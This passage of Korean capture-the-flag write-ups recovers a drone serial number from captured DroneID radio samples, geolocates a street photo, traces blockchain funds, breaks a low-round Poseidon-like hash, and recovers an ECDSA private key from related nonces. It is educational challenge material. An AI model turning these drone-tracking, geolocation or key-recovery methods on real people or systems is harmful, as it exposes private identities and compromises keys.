후보 탐색의 첫 출력은 9-symbol CP 템플릿 기준의 cp_start=2948303 이다. root 147의 직접 상관이 약 0.595 로 다른 후보보다 뚜렷하지만, 실제 프레임은 첫 심벌이 빠진 legacy 형식이므로 올바른 시작 은 거의 한 OFDM 심벌 뒤다. 1024 + 72 = 1096 표본 주변에서 CP 경계를 다시 비교하면 1표본 빠른 +1095 에서 정렬된다.
legacy start at 15.36 MS/s = 2948303 + 1095 = 2949398
original sample = 2949398 × 625 / 192
≈ 9,600,905
원본 9,596,500 번 표본부터 여유 있게 잘라 재표본화하면 프레임 시작의 로컬 위치도 계산할 수 있다.
이 계산으로 최종 명령의 –start 9596500 과 –start 1353 이 임의의 상수가 아니라 후보 탐색 결 과에서 유도된 값임을 확인할 수 있다.
계산한 위치 주변을 그림으로 확인하고, 복호에 사용할 작은 IQ 조각을 추출한다.
두 번째 명령의 결과는 다음과 같아야 한다.
python .\plot_iq.py .\challenge1 .\work\candidate_detail.png --start 9570000 -
-count 60000 --nperseg 512
python .\extract_subband.py .\challenge1 .\work\candidate.c64 --center 8e6 --
start 9596500 --count 37000
input_samples=37000 output_samples=11367 ratio=192/625 center_hz=8000000.0
| 반복 | 원본 시작 표본 | 시작 시간 | 결과 |
|---|---|---|---|
| 1 | 약 9,600,905 | 약 0.19201810 s | CRC-valid 복호 성공 |
| 2 | 약 41,600,905 | 약 0.83201810 s | ZC 검출, CRC 실패 |
두 위치의 차이는 32,000,000표본이다.
32,000,000 / 50,000,000 = 0.64 seconds
즉 동일 계열 프레임이 0.64초 간격으로 재등장한다. 이 주기는 OcuSync DroneID 방사 주기에 관한 공개 분석과도 일치한다. 첫 번째 후보 주변을 확대하면 약 9.601M 표본부터 목표 버스트가 보이며, 내 부에 대각선 ZC 성분도 확인할 수 있다.
(9,600,905 - 9,596,500) × 192 / 625 ≈ 1353
4. 9-symbol 복호가 실패한 이유
처음에는 일반적인 9-symbol DroneID 프레임으로 처리했다. ZC 시퀀스는 검출됐지만 결과 바이트가 깨졌고 CRC-valid 패킷은 나오지 않았다.
심벌별 CP와 root-147 위치를 다시 비교하자 실제 프레임은 첫 심벌이 생략된 legacy 8-symbol 형식 이었다. 올바른 구조는 다음과 같다.
공개 DroneSecurity 코드의 legacy 경로는 심벌 추출 중 인스턴스별 CP 스케줄 대신 전역 9-symbol 스케줄을 참조하고 있었다. 분석 사본에서는 이를 self.CP_LENGTHS 로 교정했다. Python 3.13/NumPy 2.x 환경을 위해 제거된 np.complex 도 Python complex 로 변경했다.
복호 전 third_party/DroneSecurity 에 아래 네 줄을 직접 수정한다. 이 수정은 결과를 억지로 맞추 기 위한 것이 아니라, 이미 존재하는 legacy CP 설정이 실제 심벌 추출에도 사용되게 하는 호환성 수정 이다.
--- a/src/Packet.py
+++ b/src/Packet.py
- for i, cp_len in enumerate(CP_LENGTHS):
+ for i, cp_len in enumerate(self.CP_LENGTHS):
- sym = symbols_time_domain[i][CP_LENGTHS[i]:]
+ sym = symbols_time_domain[i][self.CP_LENGTHS[i]:]
--- a/src/qpsk.py
+++ b/src/qpsk.py
-def get_symbol_bits(symbol: np.complex, phase_correction: int=0) -> int:
+def get_symbol_bits(symbol: complex, phase_correction: int=0) -> int:
- qval = np.complex(float(qval_[0]), float(qval_[1]))
+ qval = complex(float(qval_[0]), float(qval_[1]))
5. QPSK와 payload 복호
두 ZC 심벌을 제외하면 legacy 프레임에는 데이터 심벌이 6개 남는다. DC를 제외한 각 심벌의 600개 부반송파가 QPSK이므로 총 비트 수는 다음과 같다.
6 symbols × 600 carriers × 2 bits = 7200 bits
FFT size = 1024
CP lengths = [80, 72, 72, 72, 72, 72, 72, 80]
total = 8784 samples
duration = 8784 / 15.36 MHz = 571.875 us
ZC indices = 2, 4 (zero-based)
4^6 = 4096 phase combinations
주파수 오차와 fractional sample offset을 보정한 뒤 QPSK hard decision을 수행했다. 이 캡처에는 심 벌마다 잔여 위상차가 있어 프레임 전체에 동일한 90도 회전을 적용하는 것만으로는 부족했다. 따라서 여섯 심벌 각각에 대해 가능한 네 사분면을 검사했다.
가능한 조합을 모두 복호하고, DroneID 헤더와 CRC가 동시에 맞는 결과만 채택했다. 유효 조합은 다음 과 같았다.
per-symbol phases = (0, 0, 0, 3, 3, 0)
이제 앞에서 추출한 IQ 조각을 legacy 모드로 복호한다.
python .\decode_forced_start.py .\work\candidate.c64 --start 1353 --receiversrc .\third_party\DroneSecurity\src --legacy
Linux/macOS에서도 경로 구분자만 / 로 바꾸면 같은 명령을 사용할 수 있다. 복호 초반의 동기화 및 구조 출력은 다음과 일치해야 한다.
forced_start=1353 fine_frequency_hz=508.336395264
Found ZC sequences: 522 147
format=legacy-8-symbol second_zc_root=147 data_symbols=6 coded_bits=7200
variant=raw per_symbol_phases=(0, 0, 0, 3, 3, 0) crc_ok=True
6. Serial Number 검증
최종적으로 다음 payload가 복구됐다.
{
"pkt_len": 88,
"version": 2,
"sequence_number": 2669,
"serial_number": "3YTBKAF00402HH",
"device_type": "Air 2S",
"uuid": "1612693450206584832",
"crc-packet": "fe4d",
"crc-calculated": "fe4d"
}
핵심 필드는 다음과 같다.
DroneID 구조체에서 Serial은 offset 7의 16바이트 필드다. 패킷 앞 89바이트에 대해 polynomial 0x11021 , initial value 0x3692 로 CRC를 다시 계산한 결과 수신 CRC와 모두 fe4d 로 일치했다.
따라서 우연히 읽을 수 있는 문자열이 나온 것이 아니라 Serial을 포함한 payload 전체의 무결성이 확인 됐다.
재현 중 문제가 생길 때
| 증상 | 확인할 항목 |
|---|---|
| 파일 크기나 SHA-256 불일치 | 다른 캡처를 사용한 것이므로 제공된 challenge1 을 다시 확인한다. |
| bitarray , crcmod import 실패 | 위에서 만든 가상환경을 활성화했는지 확인한다. |
| np.complex 예외 | 4절의 qpsk.py 수정이 적용되지 않았다. |
| 배열 shape/broadcast 예외 | Packet.py 가 여전히 전역 9-symbol CP 배열을 참조하는지 확인한다. |
| ZC 후보가 나오지 않음 | 원본을 little-endian complex64, 50 MS/s로 처리했는지와 center=8e6 을 확인한다. |
| ZC는 맞지만 CRC 실패 | 첫 번째 반복, 원본 시작 9596500 , 로컬 시작 1353 을 사용했는지 확인한다. |
7. Answer
3YTBKAF00402HH
FindMy
문제 풀이 및 Proof of Concept
1. 문제 개요
제공된 거리 사진의 촬영 지점을 찾고 위도·경도를 소수점 셋째 자리까지 제출하는 OSINT 문제다.
2. 풀이 과정
- PNG 메타데이터, trailing data, alpha/LSB를 확인했지만 GPS·텍스트·은닉 데이터가 발견되지 않 아 시각 단서 분석으로 전환했다.
- 게시판에서 「能登 山氏とゆかりの文化」와 畠 9/23~10/29 일정을 읽었다. 검색 결과 2023년 이시 카와현 나나오 미술관 전시와 일치했다.
- 전신주 표찰의 「川原町幹 3」를 추가 단서로 사용해 나나오시 가와라마치 주변을 좁혔다.
- Street View에서 게시판, 적갈색 건물, 도로 사선 표시와 맨홀 위치가 모두 일치하는 지점을 확인 했다. 원 좌표는 37.04267053579112, 136.969976294077이다.
3. PoC
# 메타데이터 확인
exiftool image.png
# 좌표 반올림 및 flag 생성
lat, lon = 37.04267053579112, 136.969976294077
print(f"kisia{{{lat:.3f},{lon:.3f}}}")
# kisia{37.043,136.970}
FLAG: kisia{37.043,136.970}
Hyperliquid
문제 풀이 및 Proof of Concept
1. 문제 개요
대상 지갑 0x764816C69D7cDf13B4002242daf43b8b2a9AA2ad로 들어온 자금의 최초 발신자 를 찾는 문제다.
2. 풀이 과정
- 대상 주소의 HyperEVM nonce가 0임을 확인했다. 수신 거래는 일반 전송이 아니라 Circle CCTP receiveMessage 호출이므로 tx.from은 relayer이고, USDC Transfer의 zero address는 민트 표 시다.
- CCTP 메시지를 디코딩하자 sourceDomain=6(Base), recipient=대상 주소, messageSender=0x51D9DCd840dD036E46BB0319c4B8eEB69dEB1627가 나왔다.
- Base의 0x51D9… 입금 거래를 역추적하자 Across fill이 확인됐다. 대응하는 Arbitrum FundsDeposited 이벤트의 depositor는 0xfac6A6Ff5F8Bf3B37A790E21dC4ba2237CB2403f였다.
- Arbitrum 최상위 tx.from은 MetaMask Gas Station이지만, RedeemedDelegation의 rootDelegator와 실제 USDC depositor가 모두 0xfac6…이므로 이 주소를 최초 발신자로 판단했 다.
3. PoC
# 대상 주소가 직접 송신하지 않았는지 확인
curl -s https://rpc.hyperliquid.xyz/evm -H 'Content-Type: application/json' \
--data '{"jsonrpc":"2.0","id":1,"method":"eth_getTransactionCount","params":
["0x764816C69D7cDf13B4002242daf43b8b2a9AA2ad","latest"]}'
# CCTP 수신 → Base burn → Across Arbitrum 원본 순서로 receipt 확인
cast receipt --rpc-url https://rpc.hyperliquid.xyz/evm
0x2eb52a33a78bb40922ce354c36e0ba67419ac2b47a237240807c7e5d44dcc31b
cast receipt --rpc-url https://mainnet.base.org
0x6f16253fd1fade2d7d657ec11cabd172a8171118f393ea5cb0bc8967bc2586ca
cast receipt --rpc-url https://arb1.arbitrum.io/rpc
0xe7a0d1c6a98de4329d02cb27a1caab8735d32684d11b63c4374b7266194ab152
마지막 receipt의 Across FundsDeposited depositor 및 delegation rootDelegator가 0xfac6A6Ff…2403f로 일치한다.
FLAG: kisia{0xfac6A6Ff5F8Bf3B37A790E21dC4ba2237CB2403f}
5. Crypto
LowRound
프리이미지 (crypto)
- 타겟: nc 3.39.24.75 15715
- 플래그: kisia{pTesk1FRUfOvZY9HEIbPerExpH7ZsH8x11aef323}
- 요구: 12 인스턴스 각각 seed·h0·h1이 주어질 때 permute(seed,(x0,x1,0))[0:2]==(h0,h1)인 (x0,x1) 제출 (1200초 내)
1. 대상
Poseidon류 산술 순열(F_P, P=1073741789, T=3, S-box x³, MDS=Cauchy).
- 라운드: RF=2 full + RP=2 partial = 총 4라운드 ([full, partial, partial, full]).
- full 라운드는 3레인 모두 세제곱, partial은 lane2만 세제곱.
- 이름 그대로 라운드가 극단적으로 적어 대수적으로 취약 → CICO 프리이미지.
2. 취약점 / 공격 (CICO)
입력 lane2=0 고정, 출력 lane0,1=h0,h1 매칭 → 미지수 (x0,x1) 2개, 방정식 2개.
- x^3은 P-1과 서로소라 가역(전체 순열 가역). 라운드0의 세제곱 출력 s0=(x0+rc)³, s1=(x1+rc)³을 기본변수로 두면 out0,out1은 (s0,s1)의 27차 다항.
- 두 방정식 out0-h0, out1-h1에서 s1을 종결식(resultant)으로 소거 → s0에 대한 일변수 다항 R(s0) (실측 차수 81).
- R의 근을 F_P에서 구하고(gcd(R, x^P−x) → CZ/근), 각 근 s0에 대해 gcd(out0,out1)로 s1 복구 → x0=s0^{1/3}−rc, x1=s1^{1/3}−rc → permute로 검증.
3. 구현 포인트 (Sage 없이 순수 python)
- Gröbner(sympy)는 GF(P) 7변수에서 너무 느림(>120s) → 폐기.
- 평가-보간 종결식으로 대체: s0를 여러 수치로 고정해 s1의 27차 일변수 두 개의 종결식을 계산(F_P 유클리드 종결식) → 다수 점에서 R(a) 얻어 Newton 보간 → R(s0) 복원.
- F_P 다항 연산(곱·나눗셈·gcd·powmod·resultant) 직접 구현. R 차수 81이라 인스턴스당 ~0.5초.
- 서버 12문제 전부 5.3초에 클리어. 솔버: scratchpad/lowround/{fp.py,solve2.py,pwn.py}
Seqsign
- 타겟: nc 3.39.24.75 49071
- 카테고리: crypto (ECDSA / secp256k1)
- 플래그: kisia{Gxi8LZEHavK93DFyIk0j655Hj57fIQHVc0e2a8f5}
- 목표: 서버 고정 개인키 d 복구 → 메뉴 4(개인키 제출)로 플래그
1. 취약점
서명 nonce k가 안전한 난수/RFC6979가 아니라 FieldSequence(2차 다항 점화식) PRNG로 생성됨.
- next()는 coeffs=c0,c1,c2, state(비밀 seed)로: k_{i+1} = c2·k_i² + c1·k_i + c0 (mod N)
- 즉 연속 nonce가 미지의 2차 다항식으로 연결됨. 세션당 coeffs·seed는 랜덤이지만 d는 서버 고정.
2. 핵심 아이디어
ECDSA 서명: s_i = k_i⁻¹(h_i + r_i·d) mod N → k_i = s_i⁻¹(h_i + r_i·d) = a_i + b_i·d (개인키 d의 1차식, a_i=s_i⁻¹h_i, b_i=s_i⁻¹r_i).
점화식에 대입:
a_{i+1} + b_{i+1}·d = c2·(a_i + b_i·d)² + c1·(a_i + b_i·d) + c0
미지수 {d, c0, c1, c2} 4개. 서명 6개(=nonce k1..k6)로 점화식 5개 → 과결정 → 풀림.
3. 소거법 (구현한 방식)
c2·k_i² + c1·k_i + c0 − k_{i+1} = 0 이므로, 벡터 (c2,c1,c0,−1)이 다음 4×4 행렬의 널스페이스에 있음:
행 i = [ k_i², k_i, 1, k_{i+1} ] (i = 연속 4개)
→ 비자명 해 존재 조건 = det = 0. 각 k_i는 d의 1차식이므로 det는 d의 다항식(차수 4).
- 윈도우 A(i=1..4), 윈도우 B(i=2..5)로 det 다항식 2개를 만들고 gcd_{F_N}(detA, detB) → 공통근이 d. 실제로 gcd가 1차로 떨어져 d가 유일하게 결정됨:
d = 0x37f64161a6602f9924019f3365bff1b87b3e74cba807b77f616c7ef5b8bda83f
scalar_mult(d) == pubkey ✓
4. 익스 절차
- 접속 → 배너에서 pubkey.x/.y 파싱.
- 메뉴 1로 서로 다른 메시지 6개 서명 → (h_i, r_i, s_i) 수집.
- a_i, b_i 계산 → k_i 다항 구성 → 4×4 det 2개 → gcd로 d 복구.
- scalar_mult(d)==pubkey 검증.
- 메뉴 4에 hex(d) 제출 → 플래그. 솔버: scratchpad/seqsign/solve.py (F_N 위 다항 연산·행렬식·gcd 직접 구현, 외부 의존 없음).